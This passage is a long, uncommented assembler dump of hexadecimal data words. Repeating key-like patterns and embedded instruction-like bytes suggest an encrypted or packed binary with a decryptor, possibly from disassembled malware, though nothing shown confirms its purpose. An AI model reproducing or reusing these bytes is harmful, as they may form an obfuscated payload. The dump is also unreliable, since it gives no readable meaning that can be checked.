2950952Fh, 4F682002h, 68290BAEh dd 323FFAB9h, 0ADCFE14h, 496635A1h, 0F2F208A6h, 64296498h dd 0B3D1F81Fh, 0D94E179Ah, 0D1243BBEh, 0BCE29130h, 32F5B7DEh dd 3CE8A95Bh, 2D2B23Ah, 8C150000h, 0BB415CD1h, 0C66A85FAh dd 0E88FAA1Fh, 34B9D449h, 0C9BBFC71h, 0FF7439BEh, 2EA35EE4h dd 59CE9313h, 85FABB3Eh, 11D3E985h, 453F490Eh, 3B54B890h dd 5718FAA7h, 2350E9A8h, 0D38EF05h, 5FA43F49h, 0DF9A2841h dd 6F8D3CFDh, 970CD156h, 5436FB7Ch, 964E649Ch, 0C0330098h dd 0FD0CC7Bh, 93330099h, 4C2EF77Ah, 5ADDDC8Bh, 98568EA4h dd 0E3003300h, 0FBBC9E43h, 36EBADD4h, 0F245D7h, 24E76FEh dd 0F0910000h, 37B5D045h, 5ADEF96Eh, 6C0B269Bh, 0B03550C5h dd 453778EDh, 7BF0B53Ah, 0A217C260h, 0CD42E787h, 0F1660FB2h dd 0A53F55F1h, 0B13F490Dh, 86B324FCh, 6EB9CFEDh, 6E3F490Dh dd 8D2CB151h, 1A4102E4h, 657B11F3h, 47330098h, 0F7F564AAh dd 0B087EA0Ah, 18Ah, 31F073FAh, 0AE77FA13h, 7A5C0BCCh dd 39BF5EE1h, 852BFB78h, 8B46C557h, 8A2D4664h, 0ECC73CEBh dd 0CE06244Dh, 4A42E037h, 9E4DCC0Fh, 434DB7A2h, 6244893Fh dd 71314CCh, 0B5FB9833h, 0E3904846h, 420187h, 0B34B0000h dd 7A9F9786h, 81FEA749h, 1127E282h, 392554D3h, 0F0173E83h dd 7134B9D2h, 11FCE8Fh, 43801AEBh, 57397E3Fh, 77DB089Fh dd 4B7C952Fh, 5F40A09Ch, 0CF6C3307h, 481C1A89h, 9FD587E3h dd 1F000000h, 1331F073h, 8A9D1E7Ch, 3C3B0365h, 6547F6BBh dd 0A4862BCCh, 0E7C9680Bh, 950AAB4Eh, 0F7BE425Bh, 40724C48h dd 6A0D3925h, 0BE7B56CBh, 68197B5h, 963F45E0h, 0E2FB3351h dd 0E8E7965Fh, 0ED84A247h, 0A742B16h, 68DD8C87h, 4305A84Dh dd 0F2493AF0h, 1954DCDEh, 5C000001h, 8AA51AC7h, 0B3CE43E2h dd 0E0FB7031h, 8239859h, 0C4DC267h, 0CB6E0F1Ah, 0FAA73B56h dd 21C46A85h, 47EE91ACh, 2036D2D2h, 3F490FC4h, 7305DD92h dd 9FBA2FF2h, 1E37551Ch, 34F5D79Eh, 0BDD61085h, 0D2937538h dd 0F0736B23h, 5F974F31h, 24D29B49h, 0C776BB39h, 77C25C8h dd 46640D2Ch, 0B372F50Eh, 656110D1h, 3F431F33h, 0F28468Bh dd 94ADCB6Eh, 0A96A4C15h, 2E09522Ch, 0F5A4E13Eh, 6C786880h dd 0A84B3306h, 9DB3EB09h, 33066D47h, 666B740Fh, 6C3E7497h dd 6219645h, 22DABC61h, 0BD524D8Bh, 3EED79B7h, 6F50h, 86B31E00h dd 36B6CFEDh, 1DCC8D6Fh, 0D42E9FFh, 5DA23F49h, 965FE27Bh dd 0C2630621h, 680F28E0h, 451E1AC9h, 99A43BE6h, 1A4569Ch dd 2DD0EB60h, 6209A284h, 0A448E1C3h, 0FC821BFDh, 0F4F55739h dd 4400D4AEh, 4AEEF60Ch, 2368C1C5h, 0F9ABF174h, 1F3AAF76h dd 9EB7D59Ch, 0C3A55419h, 0F3Bh, 3B540900h, 0C06AA2B9h dd 75A5272Ah, 0D4AC9F4Eh, 5133EE73h, 8A6C35B8h, 0C6A84DF1h dd 6E8952Dh, 4325C86Dh, 7E6005AAh, 0BD9F46E5h, 0FFE18024h dd 3D1FC666h, 0E3895300h, 4C381h, 0EB830000h, 241C8704h dd 243C895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 2368241Ch, 89000051h, 34BB2404h, 432C5717h, 7C25C381h dd 0CB8137A2h, 13A447A1h, 3892E381h, 0CB810245h, 4C804ED1h dd 2E0ABF57h, 0EFC12193h, 6E7C108h, 4910F781h, 0F7813AD9h dd 7C81106Ch, 0B75DEF81h, 0FB0196DDh, 4EC815Fh, 89000000h dd 4812424h, 424h, 53515800h, 8488959h, 24048B59h, 81E18951h dd 4C1h, 4C18300h, 5C240C87h, 51241C8Bh, 0C181E189h, 4 dd 4C181h, 0C870000h, 94E95C24h, 0B8FFFA40h, 243E55B8h dd 0FFC50306h, 0E7DC4AE0h, 4EC3B20h, 83858F0Ah, 2868EE10h dd 0AD480B11h, 78661C08h, 5435382Ah, 17D43531h, 0DD66DE1Dh dd 0AA9C8F18h, 484DCB00h, 0AC1FA523h, 0D2B3BB62h, 0E0AB2178h dd 8C6B9769h, 0DFCD5322h, 4DE1B332h, 5502703Eh, 3E41C856h dd 0CE90011Ch, 882EB20Ch, 907B7405h, 35465371h, 39ACFE60h dd 777A0967h, 591FAB48h, 5F89D319h, 22C6145Eh, 0AE847h dd 0E410000h, 3E97668Ch, 20BF883Fh, 8E8h, 84D49000h, 97C5AB4Bh dd 0CBBF0F97h, 13E95B59h, 0CF000000h, 0FA5806F0h, 0F42B6AEAh dd 29F21C25h, 0E7EDD2A4h, 0C381252Eh, 72C3h, 0C837F681h dd 85680F16h, 6600001Ch, 8B58FA8Bh, 0F08B6613h, 0CAEBEA81h dd 0C28146D2h, 3A1A4359h, 9E9h, 0EC72C600h, 8765EE01h dd 0F28191FDh, 288359FDh, 32BB6660h, 0FE974h, 0F8C60000h dd 1E3A2AF8h, 0A23A6639h, 90FC5D66h, 13896137h, 18CBB966h dd 6604EB83h, 1779EE81h, 1E881h, 850F0000h, 0FFFFFFA7h dd 0CE9h, 2490D300h, 74C13858h, 2B540FB8h, 3EE853AEh, 32565DB1h dd 666ACF3h, 325655F3h, 3256ABB1h, 97AFD5B1h, 9AA3EAE9h dd 325675E8h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32545DB1h, 3581AEB1h, 325457B9h, 3259ABB6h, 326CD5B8h dd 3256E8CEh, 325677F7h, 0F27DB8F7h, 32565DB6h, 0AC8F8E92h dd 62C31BCEh, 3256AD58h, 0D621A3B1h, 0A445E8FCh, 0F3FE75B1h dd 0CF021DD7h, 0CB961E43h, 87BA318Fh, 64CBECFBh, 3244422Dh dd 1F4D5B1h, 0BDB88341h, 99AC50ADh, 0B5901BB9h, 11048005h dd 9DC84F30h, 26BF175Ch, 7E56ABB1h, 0ACD7F24h, 0D6219CA0h dd 624577FCh, 4E39F4F8h, 0AFDD07B4h, 0EDFCFE8h, 33BE5C95h dd 0FC24C17h, 0B565683h, 0C77A35CFh, 6A0C8E3Bh, 0C691BC27h dd 5235CFACh, 0BEE970A8h, 0AF8DBD64h, 32C0CAD0h, 20CBA1B1h dd 6CCF0A52h, 5803798Eh, 0BB3727EAh, 525279F5h, 37BF32E2h dd 3B5657B1h, 0F76A84BFh, 3256C558h, 0D417C2B1h, 402BA196h dd 8C2FFA72h, 0F86331AEh, 0AE0F338Ah, 32565B58h, 10BBAFB1h dd 5CBFA502h, 48F376BEh, 74BBF59Ah, 3256B658h, 0E00B69B1h dd 2C0F0E12h, 18439B4Eh, 6A3736AAh, 0A813691Eh, 5308777Ah dd 36723138h, 3256B358h, 71A4A0B1h, 0AD685771h, 900EE25Dh dd 0DC802A82h, 0DB42E9ACh, 3256EAA5h, 99AC50ADh, 0B5901BB9h dd 11048005h, 4DC87791h, 0A9FCC2FDh, 3D04FB2Ch, 530E8F80h dd 320EB2EBh, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h dd 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h dd 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h dd 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h, 325675B1h dd 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h, 3256ABB1h dd 3256D5B1h, 3256EAB1h, 325675B1h, 3256BAB1h, 32565DB1h dd 3256AEB1h, 325657B1h, 3256ABB1h, 3256D5B1h, 3256EAB1h dd 325675B1h, 3256BAB1h, 32565DB1h, 3256AEB1h, 325657B1h dd 3256ABB1h, 3256D5B1h, 0DA36EAB1h, 325675B1h, 0CEBC3BEBh dd 0BF5079F3h, 11EEB334h, 60D4DEB7h, 0BF508FF1h, 16EDCC33h dd 64D463B7h, 0DA5051F1h, 3256B3FFh, 32562659h, 70D469B1h dd 325073F1h, 6056ABB1h, 12175077h, 5A00ECAFh, 0AEFECDE3h dd 0C70F4Eh, 0B7DB5BAFh, 3477D660h, 0B7DF874Eh, 3448B8E4h dd 323ED1DBh, 5A56EAA1h, 325578F1h, 0E2A9BADBh, 469656EBh dd 70D42782h, 0BB5073F1h, 1616ED33h, 3F166CB7h, 0CADDEAB2h dd 98A5B582h, 5A52D0E3h, 32564DB1h, 3252AED9h, 0CD563DB1h dd 2C45FE23h, 0B0DF8FB7h, 3472AA27h, 70D3FED0h, 0F1509EF1h dd 0A3D49AD1h, 3250B0B0h, 0F55617B1h, 2C424A33h, 3246D5B7h dd 52958BB1h, 7214CF3Ah, 0DD5BC95h, 0B17529B1h, 4654BECEh dd 2229D4BAh, 0B158DFB5h, 0D8BDC176h, 3346AD76h, 0D95675B1h dd 22117D43h, 32565DB2h, 0F137475Ah, 52BADCE4h, 3256AB59h dd 0D8D78FB1h, 3472A940h, 72CCC73Ah, 77DDBC95h, 0B150D4B9h dd 16163433h, 0FB3753B7h, 5256AF73h, 3256D559h, 0D8D7B0B1h dd 347231A4h, 72C0083Ah, 806D5B95h, 3472EE2Bh, 0CDD6CC5h dd 8459743Ah, 75A0D4FEh, 36236AB0h, 30BDACB2h, 7115639Ah dd 1CDFD83Ah, 0BFDDA8AFh, 34487438h, 3B24738Ah, 37210C8Ah dd 0D9522C32h, 46994E78h, 0BBEB33B9h, 0D9504392h, 5295CF06h dd 32565759h, 0D8D7F1B1h, 347291DCh, 72C0503Ah, 32EF7395h dd 156BAB0h, 0B9FDAE71h, 16163833h, 0A8D4DEB7h, 53508FF1h dd 32BEB572h, 6856EAB1h, 76C19F30h, 0B790BC95h, 34487DF0h dd 5F6FC6E7h, 87A983AEh, 34489920h, 4A87503Ch, 0E2A9EC90h dd 323E25E3h, 5856BA31h, 70E4A2B1h, 0CD508AF1h, 5A0C0F61h dd 32562BB1h, 80A9D5DBh, 3472AA27h, 0F137A54Eh, 52BA31E4h dd 32565D59h, 0D8D7F4B1h, 34721354h, 0DA5EDE3Ah, 3256D729h dd 60C415E4h, 6F5051F1h, 475ACF8Ah, 30D0B55Fh, 0FB37AEB1h dd 67565F73h, 0F6D5473Ah, 6101834Dh, 3256EA59h, 0D8D72FB1h dd 3472FFA8h, 0B95E283Ah, 6401BECCh, 32566059h, 4696A0B1h dd 67AE5E90h, 7204784Eh, 90B7395h, 2022B6C4h, 0B248D6D7h dd 2CDC5E56h, 0DAA6B431h, 3256AD2Ch, 4FDF015Ah, 0CC0B024Dh dd 6D0D8A4Eh, 0CE1331EFh, 325A9F78h, 0B1BA25E4h, 6401AF75h dd 7791F8E0h, 3256D549h, 0B0D42DB1h, 335051F1h, 0B956BAB1h dd 0B93055C4h, 70EC25AFh, 0B95073F1h, 0E95DA3EEh, 0EC6DDAC5h dd 6FDDECC4h, 3E09FCBDh, 0D9427D32h, 2CDD3B5Bh, 3DBE5531h dd 32569935h, 0DBAD2BB1h, 329351BEh, 0C9D6EAB1h, 8ED27A5Ah dd 0B256BAB1h, 0B659BF4Ah, 3256AE1Dh, 3DB5AC31h, 32563135h dd 0C9D7B3B1h, 0B65909D6h, 32567529h, 54A65D31h, 0B259A630h dd 32C72ABEh, 0D1D657B1h, 42AD2B41h, 32D351BEh, 0B930EAB1h dd 0CAB5F5AFh, 46EE4131h, 3768DDF3h, 0CD693C5h, 0B26E239Ch dd 122C38Fh, 72D4574Eh, 0B930EC95h, 0CAB1F5AFh, 0B3AD3BD7h dd 54762959h, 0D5D6B03Ah, 0C9D73141h, 21226B30h, 0A0A980D1h dd 3472AAE3h, 0CE13FCECh, 0CE2B39D0h, 0B93528B0h, 2C573F0Bh dd 0B0DD07B7h, 3472EB33h, 6A66E988h, 88DDBAC3h, 34486150h dd 0B0D431E1h, 0B5079F1h, 4D0E9E8Dh, 0F546BC8Ch, 325453F4h dd 35BDD5B1h, 33AEAF76h, 0B95675B1h, 1616F80Bh, 3949D6B7h dd 949DA6Ah, 0B959226Fh, 4FD5A7ECh, 3122D549h, 0BBAEB7B2h dd 0F5D571EEh, 1B451A5h, 3296B471h, 0B930AEB1h, 3E2BDCAFh dd 46BD5031h, 0C2B555BBh, 46261131h, 0F4649EA7h, 759153B6h dd 32565DB0h, 0B19125B1h, 0A5BF5271h, 5456ABB1h, 3A59D276h dd 0D1D6F43Bh, 0B29DF5BEh, 0F557E539h, 32565FF6h, 0F5DDAEB1h dd 0D9509732h, 0CD7CDC8h, 3D224521h, 47C6D431h, 4CD713BFh dd 46C62A4Eh, 0B952B6B3h, 0BF094576h, 1616C933h, 0CD00FBB7h dd 16168323h, 4696E1B7h, 0BF9EFEBBh, 16162403h, 6446B6B7h dd 0CD03603Ah, 16160523h, 0FC7DF6B7h, 0B1080C46h, 475712CCh dd 981FC5A1h, 0B75902D7h, 8459F6D7h, 0D9FDAFF7h, 0CA2BD4AAh dd 5445DEB3h, 549FDE09h, 3DEE8C1Ah, 3DFD1335h, 9957FC07h dd 96A55F5Ah, 6B0D693Ah, 0F09F08EFh, 0B903ABB9h, 32BEB55Dh dd 6856EAB1h, 75219F30h, 77DDBC95h, 78D4D4B9h, 53508AF1h dd 32529578h, 0B1BA20E4h, 0DA362D75h, 3256EAB1h, 0AABCF4EBh dd 0F5509EF6h, 3256A5F4h, 7791AEB1h, 3256574Dh, 549698B1h dd 0B091CB3Ah, 3472AA33h, 325675B0h, 0A2AD3BD7h, 0B2562821h dd 0B659464Ah, 325656B9h, 0DBAD2BF1h, 32A851BEh, 0B216EAB1h dd 0B6599E4Ah, 3256BA45h, 0C2B1DDF1h, 3DAD2FD7h, 0D7D25831h dd 3156ABB1h, 2C562C33h, 0C9D6AAB7h, 0FCD27A53h, 0B256BAB1h dd 0B659BE4Ah, 3256AE0Dh, 55ADD6D7h, 88D2A452h, 0B256D5B1h dd 0C9D61A52h, 87D27AC1h, 5456BAB1h, 0D1D6433Ah, 8AAD2E49h dd 0CD610C5h, 0B214DFB4h, 0F22F88Fh, 463ED431h, 0B0A93589h dd 3472FA33h, 0B248D6D7h, 0B3305656h, 46BED64Ah, 2CDDCD95h dd 54A63231h, 0F2D71130h, 673662C5h, 7204284Eh, 0BB0B5B95h dd 0B13752F4h, 3D57ABCCh, 32578334h, 0A3EC5EB1h, 6250F4B0h dd 72D4F73Ah, 0E6FBC95h, 0B0590581h, 3256AFA0h, 26B7ED3Ah dd 0B906ADAFh, 16165733h, 26AD3B7h, 0C8D97AE9h, 0B956BAB1h dd 16161B0Bh, 74D42DB7h, 265073F1h, 75DF9C38h, 0B0DD85A1h dd 3472AA33h, 6A66693Ah, 0DB5EE538h, 32565D64h, 30AEEB76h dd 0D95657B1h, 0CA136CB6h, 3256D5B0h, 7210503Ah, 0B0D57395h dd 3472FAF7h, 0BB61D4A5h, 0CAD5BEF6h, 0F55A22B2h, 16162933h dd 3256D7B7h, 0B15301B1h, 6D2B7749h, 32AEC732h, 845946C5h dd 0B2FFAFF7h, 475657B1h, 0DAD5EBB7h, 1F5E3EB4h, 3256EA4Eh dd 0D9539D32h, 0A8DDE9BAh, 34721D33h, 6965AA3Ah, 32565718h dd 3142DE31h, 37965677h, 72D468B2h, 0BB1E7395h, 75DFB2F6h dd 0C500B6BDh, 0C5908569h, 3796D469h, 72D429B2h, 0BB1ED395h dd 75DFE2F6h, 1689EBDh, 33103071h, 1323DD19h, 0F2D568B2h dd 3257ECB3h, 0E95DABB1h, 0A8DCDCC5h, 347577F9h, 31579631h dd 3A113372h, 0D95A1A38h, 178E59A5h, 3256574Eh, 0EAA16D9Ah dd 0BB541532h, 75DFE2F6h, 0FB378DBDh, 0DEDDEF72h, 52AA9932h dd 3256AE59h, 0D8D70DB1h, 3472E218h, 72146F3Ah, 0FB65EC95h dd 3D564A32h, 32567835h, 0CD51D6B1h, 47A9A2C4h, 41BE07B9h dd 4156ABB0h, 269156B4h, 77DF085Ah, 3E238A4Dh, 0CD5ECF4Eh dd 330AB586h, 0B059AEB1h, 32565726h, 0BAAEE3Ah, 0BED4DAB6h dd 0CD56EAB1h, 4DD589F4h, 3A22BAB5h, 325A2232h, 3CBDACC5h dd 0CDA9A809h, 3253124Eh dd 99A5D5B1h, 4DD5295Ah, 3D2270A1h, 3446C532h, 0B9174CC4h dd 6DDDAAF6h, 0B915BCBDh, 6DDDAFF6h, 0B96F3EBDh, 6DDDEEF6h dd 3A094EBDh, 0B904AFC4h, 677D59E6h, 2603ADA1h, 195A083Ah dd 37BD286Bh, 0B9443EEBh, 6DDDEEF6h, 36095EBDh, 31535132h dd 2C52503Bh, 22292DB7h, 735722B2h, 6EDF729Ah, 0CDEED4B0h dd 8BA9154Eh, 325675B4h, 64BF1142h, 53A9A24Eh, 32466C78h dd 0B1BADCE4h, 0DA365775h, 3256D5B1h, 0A6BC6BEBh, 0B95051FBh dd 1616F80Bh, 0B19F6EB7h, 0B659AE8Eh, 32565720h, 47A9AC3Ah dd 3A232ABDh, 32DE02E1h, 372575B1h, 0D9427D32h, 0CE13D453h dd 0CD5ADB4Eh, 5A95FC4h, 3256DA59h, 0B93CA7B1h, 356F16F4h dd 77A916C3h, 3629394Dh, 0B15E29B1h, 4656A2CEh, 8A58BCB3h dd 0CDA9544Eh, 3256D008h, 0D9FD19B1h, 2229F67Ah, 0B159CEB4h dd 47504DCEh, 75DDEFA0h, 3E09DCB5h, 75DDB65Ah, 3E095EB5h dd 75DDF95Ah, 3E09FEB5h, 0B152E59Ah, 4DD5585Ah, 3323ADA1h dd 0BB8F7CF0h, 8A57AAEDh, 0CDA92A4Eh, 3256EF08h, 0D9FD86B1h dd 0F09FDB36h, 0B9035DB9h, 77DDCE5Dh, 3E136CB9h, 776DA3C3h dd 0CA55A2A1h, 0D9AFE95Ah, 0F09F14B1h, 0B903BABDh, 0CE92DE5Dh dd 325646D1h, 0B30C57B1h, 161DC15Bh, 19FE6B7h, 0CE0B636Ah dd 7214CF3Ah, 0DD5BC95h, 0B13229B1h, 3723518Eh, 0D9429032h dd 36292840h, 0B15EA1B1h, 4656E6CEh, 0CD5E9EB3h, 0F5D546F4h dd 0B18DB6A5h, 4653BECEh, 2229D4BEh, 7347DEB7h, 0B952923Ah dd 2FBDE6EEh, 0B952323Ah, 21BDB6EEh, 0B9521A3Ah, 6D7DA2EEh dd 37BDD4B5h, 3146D432h, 1917D4C4h, 330A6368h, 0CDA9CDB0h dd 37EF454Eh, 0C1565DB1h, 53C1451Ah, 0FBAA123Ah, 6107FB72h dd 3256D559h, 0D8D7B0B1h, 34723E44h, 720C203Ch, 56EE5B95h dd 0DA56AEB1h, 32565763h, 0F36DA03Ah, 7955C15Ah, 4097D1B5h dd 221D76A6h, 30247B8Ah, 26BD5F5Ah, 0A8DBBC5Ah, 34729B07h dd 3ABD784Eh, 0FD8A4F3Ch, 0E1A9EC95h, 0F10E2CEAh, 0DABA31E4h dd 32565DB1h, 76BC2FEBh, 525073FDh, 720C113Ch, 77DDD395h dd 0B95163B9h, 75DF79F4h, 221331B5h, 0B95A1A38h, 75DFBAF4h dd 0F09F36A1h, 0F436ABA1h, 2C769434h, 283EADB7h, 0CDFE62C2h dd 2C642B04h, 0E3D3D0B7h, 0CD508FC9h, 0B8DB0561h, 3472EB37h dd 68862AE0h, 72D0683Ch, 85597395h, 0EADDB6F1h, 686752E3h dd 0B0DF6DB2h, 34485EE8h, 5251C3D0h, 0E8h, 0EA815A00h dd 6244CB5h, 59828B52h, 0B9061E09h, 41C64E6Dh, 55AE1F7h dd 3039h, 0FFFFFF25h, 5982897Fh, 5A061E09h, 5251C359h dd 0E8h, 0EA815A00h, 6244CE5h, 0BBE8C88Bh, 33FFFFFFh, 8BF1F7D2h dd 0C3595AC2h, 0C08BC08Bh, 42F6858Dh, 0D0FF0624h, 8DC18B66h dd 244CAE85h, 9D858906h, 8D061E2Eh, 244CDE85h, 75858906h dd 0B8061E30h, 0 dd 840FC00Bh, 47h, 204185C6h, 6856061Eh, 0A9C530DFh, 3291B5FFh dd 858D061Eh, 62178D1h, 8D50D0FFh, 1E1F998Dh, 46A5106h dd 100068h, 0C5B5FF00h, 0FF061E0Eh, 0C5BD8BD0h, 3061E0Eh dd 0C7813C7Fh, 0F8h, 202447C7h, 8D600000h, 1E31C99Dh, 0B038B06h dd 5840FC0h, 8B000000h, 4438900h, 234CF6B9h, 1E8D8D00h dd 8B06244Eh, 1E1B39B5h, 758D8906h, 8B061E23h, 88DE80F7h dd 324D85C7h, 6D68061Eh, 0F88B0000h, 316985C7h, 61Eh, 8D290000h dd 61E25E5h, 1CB18531h, 0B5FF061Eh, 61E327Dh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 0A5C35141h, 16B995FFh dd 13E8061Eh, 0EC000000h, 0BC0D1FBDh, 4169AD9h, 61F7BC83h dd 2B3AD99Ch, 8D0F84A4h, 6, 20B99D89h, 6A5A061Eh, 0C195FF00h dd 8B061E26h, 180EEBC0h, 0CEB84DA8h, 0E3A54313h, 53162391h dd 0FB8D8D00h, 0F06244Eh, 686h, 4DBD2B00h, 89061E21h, 1E23758Dh dd 90C88006h, 324D85C7h, 7008061Eh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 0F3826C3h dd 0BF4565D4h, 9E9h, 0E8060000h, 62301E73h, 85C7134Ch dd 61E3169h, 0 dd 8840Fh, 8B520000h, 1E027185h, 0B5FF5806h, 61E32E5h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 99C35040h dd 8163F7FEh, 95819C8h, 0B995FF61h, 6A061E16h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h dd 7DEEC353h, 0E852CFE0h, 4FF08E1Fh, 95FF006Ah, 61E26C1h dd 7FEBC08Bh, 2BE260A3h, 245FF62Ch, 0CCBB3A49h, 2DB757A4h dd 65E95B30h, 0C1251358h, 63A0195Fh, 0DADFCE2Ch, 0BA3046F3h dd 0FEA7FCBAh, 133BFEF5h, 42BE833Eh, 2A3A727h, 6B523873h dd 44F8F265h, 0A6236194h, 7A34A4DBh, 0F26DD6DFh, 8C3BD170h dd 1A27FFBDh, 12863CE5h, 2B5DCF71h, 93592911h, 0D05E3A6Ah dd 22550960h, 76789658h, 1FBCEBADh, 92DC2B72h, 5F4E4D8Eh dd 2BAB618Ch, 0A40052D7h, 8DD786BBh, 24506F8Dh, 60FA8B06h dd 2CFD8D89h, 0FC52061Eh, 8D89615Eh, 61E2375h, 2FBD9D89h dd 85C7061Eh, 61E324Dh, 64FCh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0E2C35343h, 0ADF17EE9h, 88C62AECh dd 0B65BBE66h, 316985C7h, 61Eh, 89600000h, 1E2ED9BDh, 61F78B06h dd 1515B5FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 170424h, 55450000h, 3686E8C3h, 7E84Bh, 0A6620000h, 68728E4h dd 9E8B5h, 0DE670000h, 0EFF48589h, 0E9D3472Ah, 14h, 0CAD34110h dd 12624605h, 697C6595h, 59132C76h, 56597255h, 880F5F5Ah dd 0 dd 16B995FFh, 6A061Eh, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 198B5AC3h, 95FF006Ah, 61E26C1h dd 0BEBC08Bh, 997AC67Ch, 0F5654427h, 8D5772B3h, 2451288Dh dd 19958906h, 0F061E1Dh, 881h, 2800F00h, 0B2000000h, 758D89D3h dd 0B8061E23h, 5EB8ECABh, 324D85C7h, 6878061Eh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h dd 2DE850C3h, 902D97ABh, 8B9A623Eh, 0D5858BF3h, 0C7061E02h dd 1E316985h, 6, 0B5B5FF00h, 89061E1Eh, 1E12A585h, 0BA666006h dd 0D98BF9A7h, 0B995FF61h, 6A061E16h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 89F0C353h dd 1E039D9Dh, 0FF006A06h, 1E26C195h, 0EBC08B06h, 0C9825B3Dh dd 0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 76A83BBDh, 8906D31Dh dd 838A46DDh, 4BDE59EAh, 0CBA69315h, 0A0F0D982h, 2348AB90h dd 859C0DFFh, 964DC6A9h, 0FF337E1Bh, 0C89AB39Dh, 8EBA0ABh dd 0 dd 64888A2Dh, 506E9h, 52746800h, 1CE90624h, 68FFFA2Eh dd 62452EEh, 0FA2E12E9h, 547068FFh, 8E90624h, 0DCFFFA2Eh dd 0A259A47h, 334EC362h, 607BF0B1h, 88A318D9h, 8CCD42E7h dd 4BEE8F9Ah, 7A27BBD6h, 0A144EA05h, 0C76E112Ch, 0A0B65252h dd 3F492444h, 61F5D12h, 20E1C362h, 0F273B971h, 31B44D2Fh dd 1920FB70h, 9A213A58h, 0DDBF6203h, 2846F51Ch, 42DB4B12h dd 0D562FD3Fh, 0F6A50514h, 0AC42244Bh, 33065734h, 0C495DB78h dd 566E768Ch, 0A3E83306h, 503A38F4h, 2FF387E4h, 3D000003h dd 83B6A9D8h, 0EFD18C16h, 0D3E9072Eh, 3F42F34Eh, 0CD633D82h dd 306C198Ch, 0C44DD069h, 72424220h, 1D335178h, 3BBFC8B4h dd 0FC55377Ch, 16343Dh, 35A1FBDAh, 6302A5BEh, 9D11C081h dd 81213A58h, 8231F2D4h, 9A84B64h, 0A1415A94h, 525112F4h dd 67280AABh, 6F36B9B8h, 0AB3495ADh, 0CF5759E8h, 352h dd 42B762FFh, 6BE08127h, 9005AC50h, 0BA2FF675h, 0E65B1E9Fh dd 7A8B3A5h, 30D2ED62h, 71F51085h, 991C37ACh, 0C76363D8h dd 492533B1h, 966E233Fh, 0CFED86B3h, 3BFA7E97h, 0EDE99859h dd 3F49245Fh, 4B6482C7h, 9D9FB3A8h, 0ADC9EB8Bh, 0A0B9D786h dd 0CAE55A1Fh, 6001A825h, 0B496BD7Eh, 0FFDDC11Eh, 25C8E132h dd 35F87D7Ch, 0E4E39253h, 0FEDEA041h, 0D2F24588h, 2D848D0h dd 0FC850000h, 0BB1CC41h, 56DAF56Ah, 78FF1A8Fh, 842944B9h dd 392B6CE1h, 6FE4892Eh, 9E13CE54h, 0C93EE383h, 0F56A0BAEh dd 0A14359F5h, 0B53F4924h, 86B32800h, 9B5ADDF6h, 0E8FCF8B9h dd 0E33924D2h, 0FDBEA041h, 0FF1D4489h, 6A0BAEC7h, 248DBFBBh dd 0FE993F49h, 1F67F607h, 0B89AC107h, 0AC46E700h, 794E96h dd 9CC30833h, 7658059Dh, 0D60A06B5h, 0D6330078h, 8684F339h dd 3F87EA2Ah, 1D2h, 31F07389h, 7233B64Fh, 5A1722FDh, 0F033263Ch dd 0F00D3F42h, 90A24F4Ch, 0F453AAC8h, 0AD2AEBCDh, 857AFFCCh dd 12F41BDAh, 0FABB415Ah, 0ACA85718h, 33066F34h, 0D2A94078h dd 35F3784Dh, 71531295h, 57DA89B0h, 0D9A4A211h, 0CEE787E3h dd 33DB8A2Bh, 35h, 74D28017h, 8B6D34B4h, 35084DCAh, 0B3F5AD5Ch dd 0B9CFED86h, 3F42FE4Ch, 8F25074Ch, 3306A751h, 978BE5Bh dd 87E4000Bh, 0F3B2354Eh, 0F9A15011h, 0D8h, 31F07343h dd 6C31B64Fh, 0A74EF18Ah, 0A93B5189h, 0AD3924D2h, 3ED7B968h dd 0C3DCFABBh, 5CD18021h, 24D77A44h, 0C3620539h, 0B6C6734Eh dd 7658059Dh, 0CE2BB9B5h, 18A03924h, 42B67759h, 0B479FEFDh dd 2E596F8Dh, 0C43F4577h, 236E768Ch, 0FDDF3304h, 0C6495D60h dd 79FE1B8Fh, 596F8DB4h, 33046A8Bh, 63D786CBh, 0D5FCA146h dd 54199EB7h, 7E23C4DFh, 4A1612BCh, 18A0A2F2h, 156h, 4EC37E03h dd 77ECB533h, 0A419D85Ch, 0CE43E289h, 0FA6F32B3h, 3BBCC7B9h dd 5CE60176h, 6D112CA1h, 0B53853C8h, 0DB7777ECh, 49271FC5h dd 0AA82373Fh, 0A0BB3B54h, 0B9ADBFEDh, 16F81FD4h, 6A7A655h dd 50D3EE63h, 0F760849Ah, 0B1F63924h, 1E346C8Ah, 3924F7C6h dd 4CC07D05h, 0FE35807h, 4F31F073h, 0FD7233B6h, 4D631722h dd 3924D297h, 35537ABFh, 431F791Fh, 0FD829B3Fh, 0D0158938h dd 0DB617AB2h, 1C9F381Ah, 8BB27355h, 9558DDDCh, 19C45E77h dd 52C77637h, 